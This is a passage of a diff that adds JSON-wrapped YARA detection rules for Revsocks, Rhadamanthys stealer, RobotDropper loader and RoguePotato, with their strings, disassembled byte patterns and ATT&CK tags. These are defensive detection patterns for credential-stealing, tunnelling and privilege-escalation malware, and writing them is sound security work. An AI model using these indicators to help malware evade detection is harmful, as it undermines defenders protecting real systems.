$s_function_178 = \"tneserPreggubeDsI\" ascii wide\n        $s_function_179 = \"tnevEteSemit\" ascii wide\n        $s_function_180 = \"tnuoCkciTteG\" ascii wide\n        $s_function_181 = \"tohspanS23plehlooTetaerC\" ascii wide\n        $s_function_182 = \"tseuqeRdneSpttH\" ascii wide\n        $s_function_183 = \"tseuqeRnepOpttH\" ascii wide\n        $s_function_184 = \"tsriF23daerhT\" ascii wide\n        $s_function_185 = \"tsriF23ssecorP\" ascii wide\n        $s_function_186 = \"tsriFdniF\" ascii wide\n        $s_function_187 = \"txeN23daerhT\" ascii wide\n        $s_function_188 = \"txeN23ssecorP\" ascii wide\n        $s_function_189 = \"txeNdniF\" ascii wide\n        $s_function_190 = \"txetnoCdaerhTteS\" ascii wide\n        $s_function_191 = \"txetnoCeriuqcAtpyrC\" ascii wide\n        $s_function_192 = \"WeliFetaerC\" ascii wide\n        $s_function_193 = \"WeliFeteleD\" ascii wide\n        $s_function_194 = \"WemaNeliFeludoMteG\" ascii wide\n        $s_function_195 = \"WhtaPpmeTteG\" ascii wide\n        $s_function_196 = \"WhtaPredloFteGHS\" ascii wide\n        $s_function_197 = \"Wnelrtsl\" ascii wide\n        $s_function_198 = \"wodniWdniF\" ascii wide\n        $s_function_199 = \"wodniWdnuorgeroFteG\" ascii wide\n        $s_function_200 = \"wodniWdnuorgeroFteS\" ascii wide\n        $s_function_201 = \"wodniWteG\" ascii wide\n        $s_function_202 = \"wodniWteS\" ascii wide\n        $s_function_203 = \"WssecorPetaerC\" ascii wide\n        $s_function_204 = \"WtsriF23ssecorP\" ascii wide\n        $s_function_205 = \"WtxeN23ssecorP\" ascii wide\n        $s_function_206 = \"WxEemaNeliFeludoMteG\" ascii wide\n        $s_function_207 = \"xEkooHtxeNllaC\" ascii wide\n        $s_function_208 = \"xetuMetaerC\" ascii wide\n        $s_function_209 = \"xEyreuQlautriV\" ascii wide\n        $s_function_210 = \"yciloPPEDssecorPteS\" ascii wide\n        $s_function_211 = \"ycneuqerFecnamrofrePyreuQ\" ascii wide\n        $s_function_212 = \"yeKdaoLnUgeR\" ascii wide\n        $s_function_213 = \"yeKecalpeRgeR\" ascii wide\n        $s_function_214 = \"yeKerotseRgeR\" ascii wide\n        $s_function_215 = \"yeKetaerCgeR\" ascii wide\n        $s_function_216 = \"yeKeteleD\" ascii wide\n        $s_function_217 = \"yeKeulaVeteleD\" ascii wide\n        $s_function_218 = \"yeKeulaVteS\" ascii wide\n        $s_function_219 = \"yeKfederPedirrevOgeR\" ascii wide\n        $s_function_220 = \"yeKlautriVpaM\" ascii wide\n        $s_function_221 = \"yeKmunEgeR\" ascii wide\n        $s_function_222 = \"yeKtoHretsigeR\" ascii wide\n        $s_function_223 = \"yortseDtpyrC\" ascii wide\n        $s_function_224 = \"yrarbiLdaoL\" ascii wide\n        $s_function_225 = \"yreuQgeR\" ascii wide\n        $s_function_226 = \"yromeMevoMltR\" ascii wide\n        $s_function_227 = \"yromeMlautriVdaeR\" ascii wide\n        $s_function_228 = \"yromeMlautriVetacollA\" ascii wide\n        $s_function_229 = \"yromeMlautriVetirW\" ascii wide\n        $s_function_230 = \"yromeMlautriVtcetorP\" ascii wide\n        $s_function_231 = \"yromeMssecorPdaeR\" ascii wide\n        $s_function_232 = \"yromeMssecorPetirW\" ascii wide\n        $s_function_233 = \"yromeMypoCltR\" ascii wide\n        $s_function_234 = \"yrotceriDtnerruCteS\" ascii wide\n        $s_function_235 = \"yrtsigeRtcennoCgeR\" ascii wide\n        $s_function236 = \"lld.teniniw\" ascii wide\n        $s_function237 = \"lld.23lenrek\" ascii wide\n        $s_function238 = \"lld.trcvsm\" ascii wide\n        $s_function239 = \"lld.23tpyrc\" ascii wide\n        $s_function240 = \"lld.23ipavda\" ascii wide\n        $s_function241 = \"lld.23llehs\" ascii wide\n        $s_function242 = \"lld.ipawlhs\" ascii wide\n        $s_function243 = \"lld.23resu\" ascii wide\n        $s_function244 = \"lld.ipasp\" ascii wide\n        $s_exclude00 = \"AitStatic.exe\" ascii wide nocase\n        $s_exclude01 = \"AitStatic.pdb\" ascii wide nocase\n\n        // C:\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Security for Windows Server\\kavfswp.exe\n        // 89a6e36915d2433bcf1dbc76eb7c411cf173bef7b0a544524249feeb35ce5db9\n        $s_exclude02 = \"Kaspersky Anti-Virus worker process\" wide\n        $s_exclude03 = \"https://activation-test.kaspersky-labs.com/activate\" ascii\n\n    condition:\n        not 1 of ($s_exclude*)\n        and 5 of ($s_function*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "reversed_api_name"
+  ],
+  "rule_creation_date": "2024-07-09",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.ReversedAPINameWide"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.013",
+    "attack.t1027.007",
+    "attack.t1027"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-revsocks_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577040Z",
+  "creation_date": "2026-03-23T11:46:25.577042Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577047Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/kost/revsocks\nhttps://www.cisa.gov/news-events/cybersecurity-advisories/aa23-131a\nhttps://cloud.google.com/blog/topics/threat-intelligence/alphv-ransomware-backup/?hl=en"
+  ],
+  "name": "revsocks.yar",
+  "content": "rule revsocks {\n    meta:\n        title = \"Revsocks HackTool\"\n        id = \"13cde9d6-e3b1-499f-9644-e3c2af600f2c\"\n        description = \"Detects Revsocks HackTool.\\nRevsocks is a Golang-based reverse socks5 tunneler with SSL/TLS and proxy support, used to proxy network traffic and bypass firewall restrictions.\\nIt is recommended to verify if the usage of this tool is legitimate.\"\n        references = \"https://github.com/kost/revsocks\\nhttps://www.cisa.gov/news-events/cybersecurity-advisories/aa23-131a\\nhttps://cloud.google.com/blog/topics/threat-intelligence/alphv-ransomware-backup/?hl=en\"\n        date = \"2025-01-29\"\n        modified = \"2025-05-09\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1090;attack.t1573.001;attack.t1571\"\n        classification = \"HackTool.Revsocks\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 04b922157b6f2a91753cae038a716eb3291f308067feaee27de0e3731feb5754\n        // 6bb160ebdc59395882ff322e67e000a22a5c54ac777b6b1f10f1fef381df9c15\n\n        $s1 = \"github.com/kost/revsocks\" ascii\n        $s2 = \"Start on the client: revsocks -listen\" ascii\n        $s3 = \"[%s] Error creating client in yamux for %s: %v\" ascii\n        $s4 = \"[%s] Got Client from %s\" ascii\n        $s5 = \"[%s] Starting to copy conn to stream for %s\" ascii\n\n        $f1 = \"main.connectviaproxy\" ascii fullword\n        $f2 = \"main.connectForSocks\" ascii fullword\n        $f3 = \"main.DnsConnectSocks\" ascii fullword\n        $f4 = \"main.listenForAgents\" ascii fullword\n        $f5 = \"main.listenForClients\" ascii fullword\n\n    condition:\n        2 of ($s*) and 2 of ($f*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "revsocks"
+  ],
+  "rule_creation_date": "2025-01-29",
+  "rule_modified_date": "2025-05-09",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "HackTool.Revsocks"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1090",
+    "attack.t1573.001",
+    "attack.t1571"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-rhadhamanthys_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568386Z",
+  "creation_date": "2026-03-23T11:46:25.568388Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568394Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys\nhttps://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/"
+  ],
+  "name": "rhadhamanthys.yar",
+  "content": "rule rhadhamanthys {\n    meta:\n        title = \"Rhadhamanthys Stealer\"\n        id = \"aec90a67-022c-4e29-871c-55b363d0368d\"\n        description = \"Detects Rhadhamanthys Stealer.\\nRhadhamanthys is a malicious information stealer primarily distributed through malicious Google advertisements. It injects its core component into a sacrificial process to evade detection by process-based defenses.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys\\nhttps://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/\"\n        date = \"2024-03-26\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.privilege_escalation;attack.t1055;attack.discovery;attack.t1082;attack.credential_access;attack.t1539;attack.t1555\"\n        classification = \"Windows.Stealer.Rhadhamanthys\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // ee4a487e78f23f5dffc35e73aeb9602514ebd885eb97460dd26635f67847bd16\n\n        $s1 = \"/bin/KeePassHax.dll\" ascii fullword\n        $s2 = \"cf66fb58f5ca3485\" ascii fullword\n        $s3 = \"8335DC163BB124B65129C96FDE933D8D723A70AADC873D6D54A7BB0D\" ascii fullword\n        $s4 = \"%Systemroot%\\\\system32\\\\rundll32.exe\" wide fullword\n        $s5 = \"LUA://DecHdAutoAp\" wide fullword\n        $s6 = \"hdokiejnpimakedhajhdlcegeplioahd\" wide fullword\n        $s7 = \"\\\\\\\\.\\\\pipe\\\\{%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\" wide fullword\n\n        $b1 = \"Sleipnir5\" ascii fullword\n        $b2 = \"PaleMoon\" ascii fullword\n        $b3 = \"CocCoc\" ascii fullword\n\n        $x1 = {\n            41 0F B6 40 FF                // movzx   eax, byte ptr [r8-1]\n            41 0F B6 50 FE                // movzx   edx, byte ptr [r8-2]\n            C1 E2 08                      // shl     edx, 8\n            0B D0                         // or      edx, eax\n            41 0F B6 00                   // movzx   eax, byte ptr [r8]\n            49 83 E8 04                   // sub     r8, 4\n            C1 E2 08                      // shl     edx, 8\n            0B D0                         // or      edx, eax\n            41 0F B6 40 05                // movzx   eax, byte ptr [r8+5]\n            C1 E2 08                      // shl     edx, 8\n            0B D0                         // or      edx, eax\n            89 11                         // mov     [rcx], edx\n            48 83 C1 04                   // add     rcx, 4\n            49 83 E9 01                   // sub     r9, 1\n            75 CE                         // jnz     short loc_4D78A\n        }\n\n        $x2 = {\n            46 BB FF 00 00 00             // mov     ebx, 0FFh\n            23 F3                         // and     esi, ebx\n            0F B6 44 31 08                // movzx   eax, byte ptr [rcx+rsi+8]\n            03 F8                         // add     edi, eax\n            23 FB                         // and     edi, ebx\n            0F B6 5C 39 08                // movzx   ebx, byte ptr [rcx+rdi+8]\n            88 5C 31 08                   // mov     [rcx+rsi+8], bl\n            88 44 39 08                   // mov     [rcx+rdi+8], al\n            02 C3                         // add     al, bl\n            8B 5D 08                      // mov     ebx, [rbp+8]\n            0F B6 C0                      // movzx   eax, al\n            8A 44 08 08                   // mov     al, [rax+rcx+8]\n            32 04 13                      // xor     al, [rbx+rdx]\n            88 02                         // mov     [rdx], al\n            42 FF 4D 14                   // dec     [rbp+arg_4]\n            75 CB                         // jnz     short loc_E781\n        }\n\n    condition:\n        (5 of ($s*) and 2 of ($b*)) or\n        (1 of ($s*) and 1 of ($b*) and 1 of ($x*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "rhadhamanthys"
+  ],
+  "rule_creation_date": "2024-03-26",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.Rhadhamanthys"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055",
+    "attack.t1555",
+    "attack.t1539",
+    "attack.t1082"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-robotdropper_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572750Z",
+  "creation_date": "2026-03-23T11:46:25.572752Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572758Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blogs.blackberry.com/en/2024/11/robotdropper-automates-delivery-of-multiple-infostealers\nhttps://trac-labs.com/advancing-through-the-cyberfront-legionloader-commander-6af38ebe39d4"
+  ],
+  "name": "robotdropper.yar",
+  "content": "rule robotdropper {\n    meta:\n        title = \"RobotDropper Loader\"\n        id = \"318691bd-9f7d-4fde-8e81-b08419da48e3\"\n        description = \"Detects the RobotDropper malware, a defense evasion-focused loader.\\nRobotDropper primarily employs DLL sideloading and process hollowing techniques to evade detection.\\nIts malicious payload is stored within a password-protected archive, which is typically executed to deploy additional stealer malware as the final payload.\"\n        references = \"https://blogs.blackberry.com/en/2024/11/robotdropper-automates-delivery-of-multiple-infostealers\\nhttps://trac-labs.com/advancing-through-the-cyberfront-legionloader-commander-6af38ebe39d4\"\n        date = \"2025-01-09\"\n        modified = \"2025-07-02\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055.012\"\n        classification = \"Windows.Loader.RobotDropper\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 37075bac3d6ceae449489c5dd053f95bb1f3e4bc6cfae7755ff275ca553701bd\n\n        $s_rc4 = {\n            45 33 C9                                                       // xor     r9d, r9d\n            4C 8B D1                                                       // mov     r10, rcx\n            45 8B D9                                                       // mov     r11d, r9d\n            4D 85 C0                                                       // test    r8, r8\n            74 41                                                          // jz      short locret_180008A1F\n            66 90                                                          // xchg    ax, ax\n            49 8D 41 01                                                    // lea     rax, [r9+1]\n            44 0F B6 C8                                                    // movzx   r9d, al\n            48 8D 52 01                                                    // lea     rdx, [rdx+1]\n            43 0F B6 0C 11                                                 // movzx   ecx, byte ptr [r9+r10]\n            4A 8D 04 19                                                    // lea     rax, [rcx+r11]\n            44 0F B6 D8                                                    // movzx   r11d, al\n            43 0F B6 04 13                                                 // movzx   eax, byte ptr [r11+r10]\n            43 88 04 11                                                    // mov     [r9+r10], al\n            43 88 0C 13                                                    // mov     [r11+r10], cl\n            43 0F B6 04 11                                                 // movzx   eax, byte ptr [r9+r10]\n            48 03 C1                                                       // add     rax, rcx\n            0F B6 C0                                                       // movzx   eax, al\n            42 0F B6 0C 10                                                 // movzx   ecx, byte ptr [rax+r10]\n            30 4A FF                                                       // xor     [rdx-1], cl\n            49 83 E8 01                                                    // sub     r8, 1\n            75 C1                                                          // jnz     short loc_1800089E0\n            C3                                                             // retn\n        }\n\n        $antivm00 = \"|vbOXmINIrDRdn\" nocase\n        $antivm01 = \"|vbOXgUEST\" nocase\n        $antivm02 = \"|PIPE|vbOXmINIrDRdn\" nocase\n        $antivm03 = \"|vbOXtRAYipc\" nocase\n        $antivm04 = \"|PIPE|vbOXtRAYipc\" nocase\n\n        $stub_decrypt_servername = {\n            FE C2          //  inc     dl\n            0F B6 D2       //  movzx   edx, dl\n            8B 4C 96 08    //  mov     ecx, [esi+edx*4+8]\n            8D 04 0B       //  lea     eax, [ebx+ecx]\n            0F B6 D8       //  movzx   ebx, al\n            8B 44 9E 08    //  mov     eax, [esi+ebx*4+8]\n            89 44 96 08    //  mov     [esi+edx*4+8], eax\n            89 4C 9E 08    //  mov     [esi+ebx*4+8], ecx\n            02 C8          //  add     cl, al\n            0F B6 C1       //  movzx   eax, cl\n            8B 4D F8       //  mov     ecx, [ebp+var_8]\n            8A 44 86 08    //  mov     al, [esi+eax*4+8]\n            30 04 39       //  xor     [ecx+edi], al\n            47             //  inc     edi\n            3B 7D FC       //  cmp     edi, [ebp+var_4]\n            7C D0          //  jl      short loc_40F4C0\n        }\n\n        $str_conf00 = \"nonencrypt\"\n        $str_conf01 = \"crypto_domain\"\n        $str_conf02 = \"postback_id\"\n        $str_conf03 = \"postback_url\"\n        $str_conf04 = \"postback_path\"\n        $str_conf05 = \"execute_method\"\n        $str_conf06 = \"is_encrypt\"\n        $str_conf07 = \"is_compressed\"\n        $str_conf08 = \"is_x64\"\n        $str_conf09 = \"need_captcha\"\n\n        $stub_decrypt_heap = {\n            45 8B 1A                                                      //  mov     r11d, [r10]\n            41 8B C3                                                      //  mov     eax, r11d\n            C1 E0 06                                                      //  shl     eax, 6\n            41 8B CB                                                      //  mov     ecx, r11d\n            C1 E9 08                                                      //  shr     ecx, 8\n            33 C8                                                         //  xor     ecx, eax\n            41 8B C1                                                      //  mov     eax, r9d\n            83 E0 03                                                      //  and     eax, 3\n            03 0C 87                                                      //  add     ecx, [rdi+rax*4]\n            41 03 CB                                                      //  add     ecx, r11d\n            41 03 C9                                                      //  add     ecx, r9d\n            41 29 4A 04                                                   //  sub     [r10+4], ecx\n            41 8B 42 04                                                   //  mov     eax, [r10+4]\n            41 89 02                                                      //  mov     [r10], eax\n        }\n\n        $stub_prepare_call_encrypt_heap = {\n\n            41 B0 01                                                      //  mov     r8b, 1\n            C6 45 28 00                                                   //  mov     byte ptr [rbp+arg_18], 0\n            48 8D 55 28                                                   //  lea     rdx, [rbp+arg_18]\n            48 8B CE                                                      //  mov     rcx, rsi\n            E8 [2-6]                                                      //  call    sub_180013B30\n            41 B0 01                                                      //  mov     r8b, 1\n            C6 45 28 00                                                   //  mov     byte ptr [rbp+arg_18], 0\n            48 8D 55 28                                                   //  lea     rdx, [rbp+arg_18]\n            48 8B CE                                                      //  mov     rcx, rsi\n            E8                                                            //  call    sub_180013CC0\n        }\n\n        $stub_api_hashing_00 = {\n            48 8B 4C 24 28                                                 // mov     rcx, [rsp+0D8h+var_B0]\n            48 89 41 ??                                                    // mov     [rcx+10h], rax\n            BA FE 90 CB 49                                                 // mov     edx, 49CB90FEh\n            48 8B 4C 24 20                                                 // mov     rcx, [rsp+0D8h+var_B8]\n            E8                                                             // call    api_hashing_0\n        }\n\n        $stub_api_hashing_01 = {\n            48 8B 4C 24 28                                                 // mov     rcx, [rsp+0D8h+var_B0]\n            48 89 41 ??                                                    // mov     [rcx+18h], rax\n            BA 42 AE C7 F7                                                 // mov     edx, 0F7C7AE42h\n            48 8B 4C 24 20                                                 // mov     rcx, [rsp+0D8h+var_B8]\n            E8                                                             // call    api_hashing_0\n        }\n\n        $stub_api_hashing_02 = {\n            48 8B 4C 24 28                                                 // mov     rcx, [rsp+0D8h+var_B0]\n            48 89 41 ??                                                    // mov     [rcx+20h], rax\n            BA 2E 97 58 4F                                                 // mov     edx, 4F58972Eh\n            48 8B 4C 24 20                                                 // mov     rcx, [rsp+0D8h+var_B8]\n            E8                                                             // call    api_hashing_0\n        }\n\n        $stub_api_hashing_03 = {\n            48 8B 4C 24 28                                                 // mov     rcx, [rsp+0D8h+var_B0]\n            48 89 41 ??                                                    // mov     [rcx+28h], rax\n            BA 13 04 18 5D                                                 // mov     edx, 5D180413h\n            48 8B 4C 24 20                                                 // mov     rcx, [rsp+0D8h+var_B8]\n            E8                                                             // call    api_hashing_0\n        }\n\n        $stub_api_hashing_04 = {\n            48 8B 4C 24 28                                                 // mov     rcx, [rsp+0D8h+var_B0]\n            48 89 41 ??                                                    // mov     [rcx+50h], rax\n            BA E7 E2 DD 7B                                                 // mov     edx, 7BDDE2E7h\n            48 8B 4C 24 20                                                 // mov     rcx, [rsp+0D8h+var_B8]\n            E8                                                             // call    api_hashing_0\n        }\n\n    condition:\n        3 of ($antivm*)\n        or 1 of ($stub_*)\n        or 5 of ($str*)\n        or $stub_decrypt_servername\n        or $s_rc4\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "robotdropper"
+  ],
+  "rule_creation_date": "2025-01-09",
+  "rule_modified_date": "2025-07-02",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.RobotDropper"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-roguepotato_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581848Z",
+  "creation_date": "2026-03-23T11:46:25.581850Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581911Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/antonioCoco/RoguePotato/\nhttps://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "roguepotato.yar",
+  "content": "rule roguepotato {\n    meta:\n        title = \"RoguePotato HackTool\"\n        id = \"580e3ea5-3344-4bd9-a97e-6429297153c5\"\n        description = \"Detects the RoguePotato HackTool.\\nRoguePotato is a privilege escalation tool that fakes an OXID resolver to force the BITS service to authenticate and steal its token.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/antonioCoco/RoguePotato/\\nhttps://attack.mitre.org/techniques/T1068/\"\n        date = \"2024-02-05\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.HackTool.RoguePotato\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // a4778d50307de4ab13e48de90d72b7c5e19b4f9356a611a9faf95cfda0523c46\n        // 9c5d53208d324f6f14e3417fe072be9b0f29aa35299f99c30bbaf602790b7480\n\n        $s1 = \"[!] Error. CLSID %S not found. Bad path to object.\" ascii fullword\n        $s2 = \"[-] RpcServerUseProtseqEp() failed with status code %d\" ascii fullword\n        $s3 = \"[-] RpcServerRegisterIf2() failed with status code %d\" ascii fullword\n        $s4 = \"[-] RpcServerInqBindings() failed with status code %d\" ascii fullword\n        $s5 = \"[-] RpcServerRegisterAuthInfoA() failed with status code %d\" ascii fullword\n        $s6 = \"RoguePotato\" ascii fullword\n        $s7 = \"[-] RpcEpRegister() failed with status code %d\" ascii fullword\n        $s8 = \"[*] Starting RogueOxidResolver RPC Server listening on port %s ... \" ascii fullword\n        $s9 = \"[-] RpcServerListen() failed with status code %d\" ascii fullword\n        $s10 = \"[*] SecurityCallback RPC call\" ascii fullword\n        $s11 = \"[*] ResolveOxid RPC call\" ascii fullword\n        $s12 = \"[*] ServerAlive RPC call\" ascii fullword\n        $s13 = \"[*] ResolveOxid2 RPC call, this is for us!\" ascii fullword\n        $s14 = \"localhost/pipe/%s[\\\\pipe\\\\epmapper]\" ascii fullword\n        $s15 = \"[*] ResolveOxid2: returned endpoint binding information = ncacn_np:%s\" ascii fullword\n        $s16 = \"[*] ServerAlive2 RPC Call\" ascii fullword\n        $s17 = \"[-] Error CreatePipe %d\" ascii fullword\n        $s18 = \"[*] Listening on pipe %S, waiting for client to connect\" ascii fullword\n        $s19 = \"[*] Client connected!\" ascii fullword\n        $s20 = \"[-] Failed to impersonate the client.%d %d\" ascii fullword\n        $s21 = \"[*] Creating Pipe Server thread..\" ascii fullword\n        $s22 = \"[*] Creating TriggerDCOM thread...\" ascii fullword\n        $s23 = \"[+] Starting RoguePotato...\" ascii fullword\n        $s24 = \"[*] Creating Rogue OXID resolver thread\" ascii fullword\n        $s25 = \"[!] RogueOxidResolver not run locally. Ensure you run it on your remote machine\" ascii fullword\n\n    condition:\n        4 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "roguepotato"
+  ],
+  "rule_creation_date": "2024-02-05",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.RoguePotato"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-romcom_payload_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568888Z",
+  "creation_date": "2026-03-23T11:46:25.568890Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
